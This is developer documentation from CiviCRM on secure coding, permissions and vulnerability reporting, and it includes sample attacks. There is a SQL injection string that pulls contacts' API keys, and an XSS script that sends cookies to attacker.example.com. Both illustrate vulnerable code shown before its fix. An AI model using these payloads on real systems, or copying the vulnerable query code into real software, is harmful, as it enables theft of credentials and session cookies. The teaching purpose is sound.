CSRF attacks exploit standard HTTP headers such as `Cookie:` and/or `Authorization:`. For example, when a user logs into
`crm.example.org`, the browser makes a note to continue sending `Cookie:` and/or `Authorization:` with every subsequent request (regardless
of how the request is initiated). This automatic behavior creates the opportunity for CSRF.
For contrast, consider the legacy end-point `extern/rest.php`. Instead of standard headers, it uses the bespoke parameter `?api_key=`.
The browser does not send `?api_key=` automatically -- so it's not a vector for CSRF.
Hypothetically, `evil.example.com` could construct a hyperlink to `extern/rest.php?api_key=MY_API_KEY`. *But they need to specify
`MY_API_KEY`.* If they don't specify `MY_API_KEY`, then the request is anonymous - and conveys no extra privileges. If they do specify
`MY_API_KEY`, then you have a prior security compromise. CSRF countermeasures like `X-Requested-With:` won't protect you from an attacker
who already has an API key.
In short, CSRF is an important consideration for standard browser-based authentication flows (`Cookie:`/`Authorization:`) but not for
bespoke authentication flows (`?api_key=`, `X-Civi-Auth:`).
## QuickForm {:#quickform}
!!! todo "TODO: Discuss qfid mechanism"
# Secure Coding
## Introduction
CiviCRM maintains a number of standard practices which help ensure that CiviCRM is as secure as possible. This chapter will aim to help give developers guidance on the best way to write code for CiviCRM core and Extensions etc in a secure way.
## Inputs and outputs
Like any large application, CiviCRM has many inputs and many outputs &mdash; and for adequate security, it must ensure that all data which flows from untrusted inputs to sensitive outputs receives *sanitizing* at some point along the way to protect against attacks.
![Inputs vs outputs diagram](../img/security-inputs-and-outputs.svg)
### Bad example
Consider the following PHP code:
```php
$contactId = $_GET['cid']; // Untrusted input
$sql = "
SELECT display_name
FROM civicrm_contact
WHERE id = $contactID;
";
$query = CRM_Core_DAO::executeQuery($query); // Sensitive output
```
This is bad because because a user can send the following string for the `cid` parameter:
```text
0 UNION SELECT api_key FROM civicrm_contact WHERE id = 4
```
With this attack, the response page would display the API key (for any contact the attacker chooses) anywhere the page would normally display the contact's name. This is an information disclosure vulnerability.
!!! note
You might think that an input like ``0; DROP TABLE `civicrm_contact` `` would present an [even more serious a vulnerability](https://xkcd.com/327/), but fortunately CiviCRM does not allow [query stacking](http://www.sqlinjection.net/stacked-queries/) which means `executeQuery()` can only execute one query at a time.
### An improvement using sanitizing
In order to fix this security vulnerability, we need to sanitize either the input or output (or both!) as follows:
```php
$contactId = CRM_Utils_Request::retrieve(
'cid',
'Positive' // <-- Input sanitizing
);
$sql = "
SELECT display_name
FROM civicrm_contact
WHERE contact_id = %1;
";
$displayName = CRM_Core_DAO::executeQuery($query, [
// Output sanitizing
1 => [$contactId, 'Integer'],
]);
```
Now, users will only be able to send integers in, and CiviCRM will only be able to send integers out. This is obviously a simplified example, but it illustrates the concepts of inputs, outputs, and sanitizing.
## Sanitization methods {:#sanitization}
Sanitizing (also sometimes generally called "**escaping**") refers the process of cleaning (or rejecting) data to protect against attacks.
### Validation
The most primitive way to sanitize untrusted data (as in the example above) is to throw an error when it does not conform to the expected format. This works well for data of known (and simple) types, but can be much more difficult (and less effective) when used for complex data types.
Validation is very important for data *inputs*. Likewise, it's a good idea to use it for *outputs*, too. For example, when sending data to MySQL in a query, it's good practice to validate that integers are actually integers.
### Encoding (aka "escaping") {:#encoding}
Encoding alters the untrusted data to suit a *specific output*.
For example, consider the following Smarty code:
```html
<div class="email">{$emailAddress}</div>
```
This works fine with an input of `foo@example.org`. But a string like `<script>window.location='http://attacker.example.com/?cookie='+document.cookie</script>` would present an [XSS](https://excess-xss.com/) vulnerability. If loaded in a victim's browser, this string would send the victim's cookies to the attacker's website and allow the attacker to masquerade as the user.
Using validation to reject email addresses characters like `<` or `>` would prevent the attack, but it would also prevent us from displaying email addresses like `"Foo Bar" <foo@example.org>`.
By *encoding* the data for HTML (e.g. by using [htmlentities()](http://php.net/manual/en/function.htmlentities.php)), we change `"Foo Bar" <foo@example.org>` to `&quot;Foo Bar&quot; &lt;foo@example.org&gt;`. This prevents the attack and allows us to display any characters we wish.
!!! important
Encoding is specific to output mechanisms. Data embedded within HTML must be encoded differently from data embedded in an SQL query or a shell command.
### Purification
In rare cases such as user-editable rich text fields, CiviCRM cannot use validation or encoding to protect against attacks because the same characters used in attacks are also necessary for presentation. For these cases, CiviCRM uses a 3rd-party library called [HTML Purifier](http://htmlpurifier.org/) which employs sophisticated techniques to [remove XSS](http://htmlpurifier.org/live/smoketests/xssAttacks.php) from HTML strings.
## Sanitize input or output? {:#input-vs-output}
Now that we understand the difference between inputs and outputs, as well as the different sanitization techniques, the question arises: *at what point in my code should I sanitize? Input, or output?*
### In an ideal world {:#ideal}
Within the larger community of developers (outside of CiviCRM), the current [best-practices say](https://security.stackexchange.com/a/95330/32455) that developer should do the following
* For inputs:
* **Validate data inputs** as strictly as possible.
* For outputs:
* *Also* **validate data outputs** as strictly as possible (to provide some redundant protection).
* **Encode data outputs** whenever possible (which is most of the time).
* Provide purification for outputs in rare cases when encoding is not possible (e.g. rich text).
!!! failure "In a misguided world"
A common (and well meaning) mistake is to *encode inputs* instead of *encoding outputs*. For example, we might choose to store a string like `"Foo Bar" <foo@example.org>` in the database as `&quot;Foo Bar&quot; &lt;foo@example.org&gt;` because we know that, later on, our application will display it within an HTML page. This approach is bad because different outputs (e.g. HTML, SQL, shell) require different of encoding schemes. During input we have no reliable way of knowing which outputs the data will reach.
### CiviCRM's current strategy {:#strategy}
Unfortunately (at least as of 2017) CiviCRM exists in a somewhat uncomfortable limbo between the ideal world and the misguided world. In some places, CiviCRM sanitizes inputs with a partial encoding for HTML output, and then does not encode the HTML output. In other places, (e.g. in SQL queries) CiviCRM encodes outputs. In 2012, developers [identified the need to improve this situation](https://issues.civicrm.org/jira/browse/CRM-11532), but unfortunately it's not an easy task because shifting strategies has implications across the entire codebase. This doesn't mean CiviCRM is rife with security vulnerabilities &mdash; it just means that CiviCRM has not been *consistent* about how it approaches security.
As of CiviCRM 5.46.0 it is possible to [increase the default security in Smarty at a site level](outputs.md#between-tags). However, in 5.46.0 this is not yet recommened for production sites.
CiviCRM's strategy is as follows:
* Inputs:
1. Validate inputs when possible
1. For non-rich text, [partially encode inputs](inputs.md#input-encoding)
1. For rich text, [purify inputs](inputs.md#input-purification)
* Outputs:
1. HTML:
* *Sometimes* perform HTML encoding for [data between tags](outputs.md#between-tags) (depending on the data source)
* *Do* perform HTML encoding for [data within attributes](outputs.md#in-attributes)
1. SQL: [validate and encode](outputs.md#sql)
1. Shell: [validate and encode](outputs.md#shell)
# Securing your inputs
## `GET` parameters
If you have a page or a form which reads parameters from the URL (aka `GET` parameters) like `?cid=1234` or `?action=add`, it's important to understand that attackers can somewhat easily deceive *privileged users* into submitting malicious `GET` requests by directing the user to an email or website with content like:
```html
<img width="0" height="0" src="https://example.org/civicrm/page?foo=ATTACK" >
```
This means that we can *never* trust `GET` parameters, even if the page has tight [permissions](permissions.md) or [ACLs](access.md)! A common security vulnerability which arises from insecure `GET` inputs is [reflected XSS](https://excess-xss.com/#reflected-xss), but `GET` inputs can also find their way into all sort of other sensitive outputs, like SQL queries.
### Validating `GET` parameters
Use the function `CRM_Utils_Request::retrieve()` to retrieve and validate `GET` parameters. This works great for simple types like integers. For example:
```php
$cid = CRM_Utils_Request::retrieve('cid', 'Positive');
```
Here we have specified `'Positive'` as the type. The acceptable types can be found in [CRM_Utils_Type::validate](https://github.com/civicrm/civicrm-core/blob/60050425316acb3726305d1c34908074cde124c7/CRM/Utils/Type.php#L378).
If you find yourself wanting to use the `'String'` type, beware that this type offers very little validation and hence almost no protection against attacks. Thus, for strings it's important to *add additional validation*, as demonstrated in the following example.
```php
$angPage = CRM_Utils_Request::retrieve('angPage', 'String', $this);
if (!preg_match(':^[a-zA-Z0-9\-_/]+$:', $angPage)) {
throw new CRM_Core_Exception('Malformed return URL');
}
```
## `POST` parameters
When accepting `POST` parameters through forms, it's important to validate the data using the form validation tools provided by `CRM_Core_Form`.
## When saving to the database
Despite the [current recommended best-practices](index.md#input-vs-output), CiviCRM *does* sanitize some of its *inputs*. This section describes how.
### Input encoding {:#input-encoding}
For almost all inputs which are saved to the database, CiviCRM automatically uses `CRM_Utils_API_HTMLInputCoder::encodeInput()` to apply a *partial* encoding for HTML output. This encoding step happens at a low level for inputs passed through the API or the BAO (except for fields noted in `CRM_Utils_API_HTMLInputCoder::getSkipFields()`). So if you're using the API or the BAO to process your input you don't need to do anything special.
If, for some strange reason, you happen to be writing untrusted data to the database directly with SQL, you should encode this data in a fashion consistent with `CRM_Utils_API_HTMLInputCoder::encodeInput()`.
Note that `CRM_Utils_API_HTMLInputCoder::encodeInput()` only encodes `<` and `>`. It does *not* encode quotes. This has some special implications for how you should [encode your HTML outputs](outputs.md#html).
### Input purification {:#input-purification}
When accepting untrusted data with rich text (uncommon), pass the data through `CRM_Utils_String::purifyHTML` to remove XSS.
## PHPIDS
CiviCRM Implements the PHP Intrusion Detection System to automatically assist in preventing harmful inputs. The PHPIDS system is triggered on all fields. There are standard suite of fields that are excluded and they can be found in the `CRM_Core_IDS` class. The PHPIDS system scans the submitted content and returns a numerical value as to how dangerous the submitted content is from 0 - 100. Three type of actions can be taken based on the numerical score. Either the content is not saved and a message is given out to the user saying there is suspect content which is known as kick. The next action down is just to present a warning to the user. This indicates to the user that there may be some XSS in the content but the context gets saved to the database. The next step down is that the report is logged in the CiviCRM logs and no message is displayed to the user. The PHPIDS is implemented in a bid to assist in preventing XSS, sqli and other dangerous code being saved in the database. More information on PHPIDS can be found in the [documentation](https://github.com/PHPIDS/PHPIDS). Developers are able to alter the list of Exceptions through [hook_civicrm_idsException](../hooks/hook_civicrm_idsException.md). Fields can also be altered through the Menu hooks [hook_civicrm_xmlMenu](../hooks/hook_civicrm_xmlMenu.md#xml-ids) and [hook_civicrm_alterMenu](../hooks/hook_civicrm_alterMenu.md)).
# Securing your outputs
## HTML/Smarty {:#html}
Untrusted data placed in HTML must be [encoded](index.md#encoding) for HTML output at some point. The PHP function [htmlentities()](http://php.net/manual/en/function.htmlentities.php) does this, and the Smarty variable modifier [escape](https://www.smarty.net/docsv2/en/language.modifier.escape) behaves similarly.
### Default smarty escaping {:#escape-by-default}
There are 2 strategies for smarty encoding
1. encode by default, specify strings that should not be escaped
2. only encode strings that are specified for encoding.
Best practice recommends the former. However, CiviCRM did not implement this from the start so switching to it is challenging. As of CiviCRM 5.46.0 it is possible (but experimental) to enable Smarty escaping by default by adding the following to civicrm.settings.php :
```
define('CIVICRM_SMARTY_DEFAULT_ESCAPE', TRUE);
```
What this does is add a default modifier function (`CRM_Core_Smarty::escape`) that will parse any smarty variables that do not have the `smarty:nodefaults` modifer (even if they already have escaping applied). The function has a number of early-returns to help us get past common patterns in CiviCRM - these are intended to be transitional as part of a tightening security practice. In addition specific strings that are identified as inappropriate for escaping [such as this one](https://github.com/civicrm/civicrm-core/pull/22256) should be marked as such in the tpl e.g
```{$row.weight|smarty:nodefaults}```
There are some gotchas
## Gotcha 1 - over-escaping
As this is generally not used in production yet (as of 5.59) the code still has a lot of places where html
is escaped but actually needs to render as html. This is a work in progress and PRs like above need
to be added
## Gotcha 2 - smarty notices
2. Using isset() in the smarty layer is incompatible with escape-by-default. If the value is not defined it cannot be passed to isset - resulting in a fatal. These have all been removed from CiviCRM core code but not yet message templates and extensions.
3. Using empty() in the smarty layer will result in e-notices if not defined. Generally the recommendation is to ensure they ARE defined but alternatively the `smarty:nodefaults` modifier can be passed in.
As can be seen by the above it is better to check all potentially relevant smarty variables are assigned than to check for them in the template.
Ways to deal with smarty Notices are
1) Assign unconditionally e.g instead of
```php
if ($contactID) {
$this-assign('contactID', $contactID);
}
```
use
```php
$this-assign('contactID', $contactID);
```
In the real world these might also be array keys of the if logic might be deep and hard to clean-up in which case
consider ...
2) Figuring out what values really need to be assigned / what logic the template is actually using/ applying
and change the assignments - e.g sometimes something mystical like `$useForMember` is being
checked and after analysing the code what you might need is a php-calculated value to
determine if line items should be displayed.
```$this->assign('isShowLineItems, $this-isShowLineItems())```
This approach is good for code cleanup & future us appreciate it but sometimes you just need to...
3) Use `array_key_exists` in the template layer
If you are dealing with a form then in `CRM_Core_Form::renderForm()` the form is converted to an
array and assigned to the template - so anything assigned to the template using `$form->assign()`
(or `$this->assign()` from with the form) can be accessed in the smarty layer with
`{if array_key_exists('variableName', $form}$variableName{/if}`
or for QuickForm fields`{if array_key_exists('fieldName', $form}$form.fieldName.html{/if}`
You can also use `array_key_exists` for arrays otherwise assigned.
Note that for a while we were assigning NULL for quick form elements that did not exist - eg
using `getOptionalQuickFormElements` - that is incompatible with `array_key_exists`
Or if all else fails...
6) Assign with a sledgehammer.
To ensure smartyVariables are assigned you can pass an array of variable names to `ensureVariablesAreAssigned`. It check if they are already assigned and if not assign
them as NULL.
```
CRM_Core_Smarty::singleton()->ensureVariablesAreAssigned($this->expectedSmartyVariables);
```
### Between tags {:#db-between-tags}
Whether data needs to be output encoded depends primarily on the data source:
#### Database data between tags {:#db-between-tags}
Data which comes *directly* out of MySQL has already been [partially encoded for HTML output](inputs.md#input-encoding). This means that when you place this data between HTML tags, you don't need to perform any output encoding. This means the syntax below is safe - however, be aware that changes to the php code could make the smarty code insecure.
```php
// in page class
$dao = new CRM_Core_DAO();
$dao->query('SELECT display_name FROM civicrm_contact');
if ($dao->fetch()) {
// set template variable
$this->assign('displayName', $displayName);
}
```
```html
<!-- in template -->
<div>{$displayName}</div>
```
#### API data or direct user input between tags {:#inputs-between-tags}
HTML output encoding needs to be performed *at some point* for any data that is fetched via the API as well as any untrusted user input that is placed into HTML before being saved to the database. The recommended approach is to perform output encoding in the template:
```php
// in page class
$contacts = \Civi\Api4\Contact::get()
->addSelect('display_name')
->execute();
foreach ($contacts as $contact) {
$this->assign('displayName', $contact['display_name']);
}
```
```html
<!-- in template -->
<div>{$displayName|escape}</div>
```
Alternatively, you can encode before passing the value to the template:
```php
// in page class
$contacts = \Civi\Api4\Contact::get()
->addSelect('display_name')
->execute();
foreach ($contacts as $contact) {
$this->assign('displayName', htmlentities($contact['display_name']));
}
```
!!! tip
Be wary of using user input in *error messages*. This is a common scenario wherein untrusted user input can end up in HTML with no HTML output encoding.
### HTML attributes {:#in-attributes}
When placing data within attributes, always use Smarty's [escape](https://www.smarty.net/docsv2/en/language.modifier.escape) variable modifier to encode HTML entities.
```html
<a href="#" title="{$displayName|escape}">Foo</a>
```
!!! note
HTML output encoding *is always* necessary for attribute data (but *not* always necessary for data between tags) because of the intentionally incomplete [input encoding](inputs.md#input-encoding) that CiviCRM performs.
### Javascript in Smarty {:#javascript-smarty}
If you have a PHP variable that you'd like to use in Javascript, you can assign it to a Javascript variable in a Smarty template as follows
```html
<div>...</div>
{literal}
<script type="text/javascript">
var data = {/literal}{$data|@json_encode}{literal};
</script>
{/literal}
<div>...</div>
```
Notice the use of the `@json_encode` variable modifier. This provides output encoding for JSON which is important to prevent XSS.
## AngularJS templates {:#angularjs}
The [AngularJS Security Guide](https://docs.angularjs.org/guide/security) says:
> Do not use user input to generate templates dynamically
This means that if you put an `ng-app` element in a Smarty template, it's very important that you do not use Smarty to put any user input inside the `ng-app` element.
For example, the following Smarty template would be a security risk:
```html
<div ng-app="crmCaseType">
<div ng-view=""></div>
<div>{$untrustedData}</div>
</div>
```
This is bad because the `$untrustedData` PHP variable can contain a string like `{{1+2}}` which AngularJS will execute, opening the door to XSS vulnerabilities.
## SQL {:#sql}
When writing SQL, it is very important to protect against [SQL injection](https://en.wikipedia.org/wiki/SQL_injection) by ensuring that all variables are passed into SQL with sufficient validation and encoding. CiviCRM has several functions to help with this process, as described below.
### `CRM_Core_DAO::executeQuery` {:#executeQuery}
```php
$name = 'John Smith'; /* un-trusted data */
$optedOut = 0; /* un-trusted data */
$query = "
SELECT id
FROM civicrm_contact
WHERE
display_name like %1 AND
is_opt_out = %2";
$result = CRM_Core_DAO::executeQuery($query, [
1 => ['%' . $name . '%', 'String'],
2 => [$optedOut, 'Integer'],
]);
```
This example ensures that variables are safely escaped before being inserted into the query. CiviCRM also allows developers to specify the type of variable that should be allowed. In the case of the `%2` ($optedOut) parameter, only an *Integer* input will be permitted.
The variable types available for this can be found in [CRM_Utils_Type::validate](https://github.com/civicrm/civicrm-core/blob/60050425316acb3726305d1c34908074cde124c7/CRM/Utils/Type.php#L378). The query engine then applies appropriate escaping for the type.
### `CRM_Utils_Type::escape` {:#escape}
In some circumstances you may find that a complex query is easier to build by directly escaping values using the `CRM_Utils_Type::escape()` method. It is prefereable to use the form above or the `CRM_Utils_SQL_Select` format
```php
$name = CRM_Utils_Type::escape('John Smith', 'String');
$column = CRM_Utils_Type::escape('civicrm_contact.display_name', 'MysqlColumnNameOrAlias');
$result = CRM_Core_DAO::executeQuery("SELECT FROM civicrm_contact WHERE $column like '%$name%'");
```
### `CRM_Utils_SQL_Select`
Since CiviCRM 4.7 version there has been an alternate way of generating SQL -- use `CRM_Utils_SQL_Select`. Compared to plain `CRM_Core_DAO`, it has three advantages:
* The syntax uses pithy [sigils](https://en.wikipedia.org/wiki/Sigil_(computer_programming)) for escaping strings (`@value`), numbers (`#value`) and literal SQL (`!value`).
* The escaping for array-data is transparent (e.g. `field IN (#listOfNumbers)` or `field IN (@listOfStrings)`).
* It supports more sophisticated `JOIN`, `GROUP BY`, and `HAVING` clauses.
* You can build and combine queries in piecemeal fashion with `fragment()` and `merge()`.
* The general style of query-building is fluent.
A typical example might look like this:
```php
$dao = CRM_Utils_SQL_Select::from('civicrm_contact c')
->join('cm', 'INNER JOIN civicrm_membership cm ON cm.contact_id = c.id')
->where('c.contact_type = @ctype', array(
'ctype' => 'Individual',
))
->where('cm.membership_type_id IN (#types)', array(
'types' => array(1, 2, 3, 4),
))
->where('!column = @value', array(
'column' => CRM_Utils_Type::escape('cm.status_id', 'MysqlColumnNameOrAlias'),
'value' => 15,
))
->execute();
while ($dao->fetch()) { ... }
```
Equivalently, you may pass all parameters as a separate array:
```php
$dao = CRM_Utils_SQL_Select::from('civicrm_contact c')
->join('cm', 'INNER JOIN civicrm_membership cm ON cm.contact_id = c.id')
->where('c.contact_type = @ctype')
->where('cm.membership_type_id IN (#types)')
->where('!column = @value')
->param(array(
'ctype' => 'Individual',
'types' => array(1, 2, 3, 4),
'column' => CRM_Utils_Type::escape('cm.status_id', 'MysqlColumnNameOrAlias'),
'value' => 15,
))
->execute();
while ($dao->fetch()) { ... }
```
For convenience, you can chain the `execute()` with other DAO functions like `fetchAll()`, `fetchValue()` or `fetchMap()`.
```php
$records = CRM_Utils_SQL_Select::from('mytable')
->select('...')
->execute()
->fetchAll();
```
Further information on this method can be found in the [CRM_Utils_SQL_Select class](https://github.com/civicrm/civicrm-core/blob/6db7061/CRM/Utils/SQL/Select.php#L33)
## PHP
PHP functions like `eval()` and [many others](https://stackoverflow.com/questions/3115559/exploitable-php-functions/3697776#3697776) will convert strings stored in PHP variables into executable PHP code. If untrusted inputs ever make their way into such strings, critical [code injection](https://www.owasp.org/index.php/Code_Injection) vulnerabilities can arise. It's best to avoid these functions entirely &mdash; and fortunately modern PHP developers almost never need to use such functions. In the rare event that you find yourself needing to convert a string to PHP code, you must make certain that untrusted data is strictly validated.
## Shell commands {:#shell}
Here are some PHP functions which execute shell commands:
* `exec()`
* `passthru()`
* `system()`
* `shell_exec()`
* `popen()`
* `proc_open()`
* `pcntl_exec()`
* ``` `` ``` (backticks)
Using these functions can be very risky! If you're inclided to use one of these functions, it's best to spend some time looking a way to *not* use one of the functions. If you really can't find a way around it, then make sure to use [escapeshellarg](http://php.net/manual/en/function.escapeshellarg.php) (and in some cases [escapeshellcmd](http://php.net/manual/en/function.escapeshellcmd.php)) to properly encode data sent to the shell.
# Permissions Framework in CiviCRM
## Introduction
CiviCRM defines a number of entities, screens, APIs, and other resources. Access to these resources is dictated by *permissions*. Permissions are ordinarily administered on a screen like this:
<!-- NOTE: This is not a tutorial on user-management - it is just evocation of such a page often looks. -->
![Example: Granting permissions in Drupal](../img/permission-admin.png)
The details of the screen will vary based on the CMS and configuration. However, in all cases, there is a list of *permissions* (e.g. `add contacts`, `view all contacts`). For CiviCRM development,
our primary concerns are *defining the list of available permissions* and *enforcing those permissions*.
## Examples
CiviCRM defines a large number of permissions (100+ and counting). However, there are a handful of permissions which are frequently referenced by developers and administrators. These
examples provide a good starting-point to understand permissions generally.
* `administer CiviCRM` - This is a very broad permission and generally speaking is designed to grant access to any administrative parts of CiviCRM.
* `edit all contacts`, `view all contacts` - This grants access to all contacts within the database for editing purposes.
* `access all custom data` - This grants the user access to view and edit all the custom data in the system. When viewing data screens ("Edit Contact", "Edit Contribution", etc), this will enable panels for custom data.
* `access CiviContribute`, `access CiviEvent`, etc - These permissions are for each core module e.g. CiviContribute CiviEvent. Where `X` will be the title of that module. These permissions grant access to those areas of CiviCRM. These permissions will only show up if the modules are enabled.
## Conventions
* Lower-case is preferred.
* Proper nouns (e.g. "CiviCRM" or "CiviEvent") may be capitalized.
* Spaces separate words.
* The `:` indicates an optional namespace for foreign permissions (e.g. `Drupal:administer users`)
* The `@` prefix indicates an atypical, synthetic permission.
* Punctuation is otherwise reserved/avoided.
## Checking permissions
To determine if a user has a permission, CiviCRM uses an internal API, `CRM_Core_Permission::check()`.
```php
if (! CRM_Core_Permission::check('update widgets')) {
CRM_Core_Session::setStatus('', ts('Insufficient permission'), 'error');
}
```
Under the hood, `check()` delegates to a user-management system (e.g. Drupal users/roles or WordPress users/roles).
The behavior of `check()` may be modified programmatically via [hook_civicrm_permission_check](../hooks/hook_civicrm_permission_check.md).
The permission that is passed to the check function can be in a few different formats
1. A string, this is a single permission to be checked
2. An array e.g.`['access CiviCRM', 'access AJAX API']` In this case this means "AND" because its a single layer array. So the user would have to have both permissions
3. A two dimension array e.g. `[['access CiviCRM', 'access AJAX API'], 'access CiviEvent']` In this example the inner Array means an OR statement i.e the user must have Either Access CiviCRM OR access AJAX API but must also have access CiviEvent permission as that is a separate value within the outer array so is treated as an AND.
## Defining permissions
The list of CiviCRM permissions is defined in PHP. It draws upon these key sources:
* __Core Permissions__: Common permissions available on all CiviCRM configurations. See: `CRM_Core_Permissions::getCorePermissions()`.
* __Component Permissions__: Each component ("CiviEvent", "CiviMail", etc) defines its own list of permissions. See: `CRM_*_Info::getPermissions()`.
* __Hook Permissions__: Extensions may also define their own permissions. See: [hook_civicrm_permission](../hooks/hook_civicrm_permission.md).
To inspect the full list of defined permissions (regardless of origin), use the `Permission` API (v5.34+):
```
$ cv api4 Permission.get -T +s name +w 'name like %user%'
+------------------------------------+
| name |
+------------------------------------+
| edit user-driven message templates |
| cms:administer users |
| Drupal:administer users |
+------------------------------------+
```
??? tip "Compare: `hook_civicrm_permission` and `hook_civicrm_permissionList`"
There are two hooks which influence the list of permissions. They are subtly different:
* [hook_civicrm_permission](../hooks/hook_civicrm_permission.md): Define new permissions. For example, CiviVolunteer defines the new permission `register to volunteer`.
This permission did not exist anywhere until CiviVolunteer defined it.
* [hook_civicrm_permissionList](../hooks/hook_civicrm_permissionList.md): Modify the list of permissions presented by `Permission.get`. For example, the permission `Drupal:administer users`
originates in Drupal, but we may want to offer it in some CiviCRM configuration screens. It is added to the permission list.
## Enforcing permissions
All permission enforcement boils down to `CRM_Core_Permission::check(...)`. This building-block can be mixed into any kind of logic:
```php
if (CRM_Core_Permission::check('set custom deadlines') && !empty($form['deadline'])) {
$newRecord->deadline = $form['deadline'];
}
else {
$newRecord->deadline = max(strtotime('+7 days'), Moon::getNextFullMoon());
}
```
Permission enforcement is usually more structured. Let's review some conventions used by important subsystems.
### APIv4
In [APIv4](../api/v4/usage.md), each entity and action declares minimum permissions. These permissions are automatically enforced when receiving an API call via PHP or REST/AJAX.
For most existing entities in `civicrm-core`, the declarations are listed in `CRM_Core_Permission::getEntityActionPermissions()`. This example declares the minimal permission for `Contact.create` and `Contact.delete`:
```php
$permissions['contact'] = [
'create' => ['access CiviCRM', 'add contacts'],
'delete' => ['access CiviCRM', 'delete contacts'],
];
```
What about new APIs? By default, new APIs (in an extension or in core) require the permission `administer CiviCRM`. This can be overriden by the new entity:
```php
namespace Civi\Api4;
class MyEntity extends \Civi\Api4\Generic\AbstractEntity {
public static function permissions() {
return [
'meta' => ['access CiviCRM'],
'default' => ['administer CiviCRM'],
];
}
}
```
<!-- WISHLIST: Explain concrete names (create/delete) vs abstract (meta/default) -->
<!-- WISHLIST: There should be somewhere that explains AND-vs-OR. -->
<!-- WISHLIST: Describe civi.api.authorize -->
These declarations describe a *default minimum permission*. There are two common variations:
* _Additional checks_: Within the logic of an API method, one may enforce more nuanced permissions by consulting `CRM_Core_Permission::check(...)`.
* _Toggle enforcement_: When calling APIv4 via PHP, one may optionally disregard permissions. This can be useful if you are building a new wrapper API or server-side form.
```php
// Example: Disable API permission checks (array notation)
civicrm_api4('MyEntity', 'myAction', ['checkPermissions' => FALSE]);
// Example: Disable API permission checks (method noation)
\Civi\Api4\MyEntity::myAction()->setCheckPermissions(FALSE)->execute();
// Example: Disable API permission checks (short-hand notation)
\Civi\Api4\MyEntity::myAction(0)->execute();
```
Sometimes extension authors want to modify the permissions of an entity that extension authors don't own e.g. Contact,Contribution either on a whole of entity basis or for specific actions. Note for an extension author's own custom entities they should implement the permissions method described abvoe. To do this you need to implement an symfony event listener to listen on the `civi.api.authorize` event. It is recommended that your custom event runs prior to the stndard CiviCRM event.
An implementation may look like this note that this relies on the scan-classes mixin being enabled.
```php
namespace Civi\Api4\Event\Subscriber;
use Civi\API\Events;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
class MyCustomCheckSubscriber extends \Civi\Core\Service\AutoService implements EventSubscriberInterface {
/**
* @return array
*/
public static function getSubscribedEvents() {
return [
'civi.api.authorize' => [
['onApiAuthorize', 100],
],
];
}
/**
* @param \Civi\API\Event\AuthorizeEvent $event
* API authorization event.
*/
public function onApiAuthorize(\Civi\API\Event\AuthorizeEvent $event) {
/** @var \Civi\Api4\Generic\AbstractAction $apiRequest */
$apiRequest = $event->getApiRequest();
if ($apiRequest['version'] == 4) {
if ($apiRequest['entity'] === 'Contact' && $apiRequest['action'] === 'mycustomaction') {
if (CRM_Core_Permission::check('my custom permission')) {
$event->authorize();
$event->stopPropagation();
}
}
}
}
}
```
### APIv3
In [APIv3](../api/v3/usage.md), each entity and action is declared with a minimum permission level. These permissions are automatically enforced when receiving an API call via REST/AJAX.
!!! warning "When called via PHP, APIv3 permissions are *not* enforced. PHP callers may opt-in with the `check_permissions` flag."
As with APIv4, most permissions are declared in `CRM_Core_Permission::getEntityActionPermissions()`. Again, this example declares the minimal permission for `Contact.create` and `Contact.delete`:
```php
$permissions['contact'] = [
'create' => ['access CiviCRM', 'add contacts'],
'delete' => ['access CiviCRM', 'delete contacts'],
];
```
What about new APIs? Again, as with APIv4, the default requirement is `administer CiviCRM`. To override this default, you must implement [hook_civicrm_alterAPIPermissions](../hooks/hook_civicrm_alterAPIPermissions.md).
### Routing
*Routes* or *pages* (such as `civicrm/dashboard` and `civicrm/admin`) are declared in XML. You may specify the minimum permission required to open the page (e.g.
`<access_arguments>administer CiviCRM</access_arguments>`). For more details, see [Framework: Routing](../framework/routing.md).
### Navigation
[hook_civicrm_navigationMenu](../hooks/hook_civicrm_navigationMenu.md) allows for extension providers to define new menu items and the associated permissions to that menu item. However this does not
specifically grant access to the end point just decides whether the menu item or not is visible to the user based on the permissions of that user.
### HTML_QuickForm
Many administrative screens are based on `CRM_Core_Page_Basic` and/or `HTML_QuickForm`. These screens may use some combination of methods:
* `CRM_Core_Page_Basic::getIdAndAction()`
* `CRM_Core_Page_Basic::checkPermission()`
* `CRM_Core_Permission::checkActionPermission()`
<!-- I don't really know how to explain these quickly... -->
## Cross-over naming
CiviCRM's permission subsystem integrates with the permission subsystems in Drupal, WordPress, etc. The integration is fairly deep -- so deep that one may even forget that they are different
subsystems. However, differences do exist. Let's consider some guidelines for when these differences matter.
The differences will *not* matter if you consistently use the same provider to register and test permissions:
| Provider | Register permissions | Test permissions |
| -- | -- | -- |
| Civi | `hook_civicrm_permission` | `CRM_Core_Permission::check($perm)` |
| D7 | `hook_permission` | `user_access($perm)` |
| WP | `add_cap()` | `current_user_can($perm)` |
The differences may matter if you have a *cross-over use-case* -- such a WordPress module with a guard based on a CiviCRM permission, or a CiviCRM extension with a guard based on CMS
permission. For cross-over, you may need to modify the permission name. Here are a few examples:
```php
// Test for CiviCRM's 'edit all contacts'
CRM_Core_Permission::check('edit all contacts'); // Civi native
user_access('edit all contacts'); // D7=>Civi, identical
current_user_can('edit_all_contacts'); // WP=>Civi, munged
// Test for permission to manage CMS user
user_access('administer users'); // D7 native
current_user_can('edit_users'); // WP native
CRM_Core_Permission::check('Drupal:administer users'); // Civi=>D7, prefix
CRM_Core_Permission::check('WordPress:edit_users'); // Civi=>WP, prefix
CRM_Core_Permission::check('cms:administer users'); // Civi=>{$CMS}, dynamic
```
# Reporting a Security Vulnerability
## Introduction
CiviCRM Core Team and Security Team are responsible for fixing reported security issues within [supported CiviCRM versions](https://civicrm.org/download). Security releases will only be made for those versions with active CiviCRM support, at which point [Security Advisories](https://civicrm.org/advisory) will be issued.
## Release Timing.
CiviCRM maintains two security release windows, they are the first and third Wednesday of every month US/PDT Timezone. Having a release window doesn't mean that a release will occur, but it does allow for site administrators to be conscious of when there may be a security update.
## Reporting a Security bug
CiviCRM maintains an email address [security@civicrm.org](mailto:security@civicrm.org) as the primary mechanism for reporting security issues. When you report an issue, please include all possible information that would help the Security Team replicate and help solve the issue. Unless you request anonymity, you will be credited for your role in reporting the issue as well as any other roles you take in resolving it.
## Security Policy
CiviCRM has a publicly available [Security Policy](https://civicrm.org/security) which details these points and goes into some further detail around our security practices.
# Entity standards
The following standards apply to entities in CiviCRM:
1. Declare entities via an `.entityType.php` file.
2. Give each entity a `title`, `title_plural`, `icon` and `description`.
3. Give each field a `title` and `input_type`.
